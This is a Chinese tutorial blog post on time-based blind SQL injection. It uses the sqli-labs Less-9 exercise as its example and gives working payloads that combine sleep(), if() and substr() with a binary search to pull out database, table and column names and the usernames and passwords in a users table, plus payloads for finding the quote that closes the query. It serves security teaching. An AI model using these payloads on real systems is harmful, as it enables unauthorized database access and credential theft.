时间盲注
时间盲注:web页面只返回一个正常页面。利用页面响应时间不同,逐个拆解数据
前提是数据库会执行命令代码,只是不反馈页面信息。
关键函数
sleep()函数
函数sleep()参数为休眠时长,以秒为单位,可以为小数
select sleep(2);
if()函数
函数if(conditioin,true,false) condition为条件,true当条件为真时返回的值,false当条件为假时返回的值
-
SELECT if(1=2,sleep(2),sleep(3)); 条件为假,执行休眠3秒
-
SELECT if(1=1,sleep(2),sleep(3)); 条件为真,执行休眠2秒
SELECT if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3));
substr(( ),1,1)从第一个字母开始显示第一个字母
时间盲注 (下以Less-9为例)
利用二分法结合页面响应速度快慢判断字符
根据二分法对比数值,推算出
?id=1' and if(ascii(substr((select database()),1,1))>=110,sleep(0),sleep(3))-- - 页面加载快
?id=1' and if(ascii(substr((select database()),1,1))>=120,sleep(0),sleep(3))-- - 页面加载慢
?id=1' and if(ascii(substr((select database()),1,1))>=115,sleep(0),sleep(3))-- - 页面加载快
?id=1' and if(ascii(substr((select database()),1,1))>=116,sleep(0),sleep(3))-- - 页面加载慢
以上可得第一个字符为s(ASCII码表s对应115)
更改substr参数推算第二个字母,并以此推算剩余字母,直到得出结果。
注:
- 查看网络页面响应时间的长短
- 使用F12,查看网络
- 菜单栏→工具→Web开发者→网络
替换需要查询的命令语句
表名:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=100,sleep(0),sleep(3))-- -
对黄色括号里的进行替换
列名:
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>=100,sleep(0),sleep(3))-- -
字段名:
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>=100,sleep(0),sleep(3))-- -
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>=100,sleep(0),sleep(3))-- -
时间盲注闭合符的判断
?id=1 and sleep(2)-- -
?id=1' and sleep(2)-- -
?id=1" and sleep(2)-- -
?id=1) and sleep(2)-- -
哪一个成功进行两秒钟响应,即为那种闭合方式
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律